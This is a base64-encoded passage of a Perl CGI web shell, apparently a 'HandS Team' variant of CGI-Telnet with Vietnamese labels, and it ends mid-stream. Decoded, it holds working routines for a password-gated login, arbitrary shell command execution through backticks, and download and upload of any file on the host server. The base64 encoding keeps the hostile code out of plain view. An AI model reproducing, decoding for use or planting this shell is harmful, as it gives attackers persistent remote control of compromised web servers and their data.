LQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgoJJlByaW50TG9naW5TY3JlZW47CgkmUHJpbnRMb2dpbkZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwoJZXhpdDsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQKIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndAojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcgojIHRvIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dpbiAKewoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQKCXsKCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOwoJCSZQcmludFBhZ2VIZWFkZXI7CgkJcHJpbnQgJkxpc3REaXI7Cgl9CgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoCgl7CgkJJlByaW50UGFnZUhlYWRlcigicCIpOwoJCSZQcmludExvZ2luU2NyZWVuOwoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQKCQl7CgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsKCgkJfQoJCSZQcmludExvZ2luRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWV4aXQ7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyAKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KVCYjMjM0O24gRmlsZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KVCYjNzg0MztpIFh1JiM3ODg5O25nIDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYW5kUyBUZWFtIj4KCjwvZm9ybT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpUJiMyMzQ7biBGaWxlOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpDJiMyMjQ7aSAmIzI3MjsmIzc4NjM7dDogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPgo8bGFiZWwgZm9yPSJ1cCI+JiMyNzI7JiMyMzI7IEwmIzIzNDtuIE4mIzc4NzE7dSBGaWxlIFRyJiMyNDk7bmcgTmhhdTwvbGFiZWw+PGJyPjxicj4KVCYjNzg0MztpIEwmIzIzNDtuOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYW5kUyBUZWFtIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcmV0dXJuIDw8RU5EOwo8L3RleHRhcmVhPgo8YnI+PGZvbnQgY29sb3I9eWVsbG93PgpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pgo8YnI+PGZvbnQgc2l6ZT0nNicgY29sb3I9cmVkPktpbGxlZCBpdCE8L2ZvbnQ+CkVORAoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJbXkgJHJlc3VsdD0iIjsKCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cwoJewoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXIKCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7CgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOwoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSRyZXN1bHQgLj0gPDxFTkQ7ClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPgoKSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+CkVORAoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7CgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyCnsKCW15ICRyZXN1bHQgPSAiIjsKCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsKCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcKCXsKCQlpZigkV2luTlQpCgkJewoJCQliaW5tb2RlKFNFTkRGSUxFKTsKCQkJYmlubW9kZShTVERPVVQpOwoJCX0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsKCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7CgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOwoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOwoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOwoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOwoJCWNsb3NlKFNFTkRGSUxFKTsKCQlleGl0KDEpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7CgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UKIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwKIyB0aGUgZmlsZSBpcyByZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCZWdpbkRvd25sb2FkCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsKCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBVcGxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikKCXsKCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07CgoJfQoJbXkgJHJlc3VsdD0iIjsKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOwoKCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQKCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsKCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOwoKCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOwoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0CglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7Cgl9CgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudAoJewoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQoJCXsKCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7CgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9OwoJCQljbG9zZShVUExPQURGSUxFKTsKCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsKCQl9CgkJZWxzZQoJCXsKCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOwoJCX0KCX0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJJEN1cnJlbnREaXIgPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIpOwoJbXkgJHJlc3VsdD0iIjsKCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQKCXsKCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob21wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIHJ1biBjb21tYW5kCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS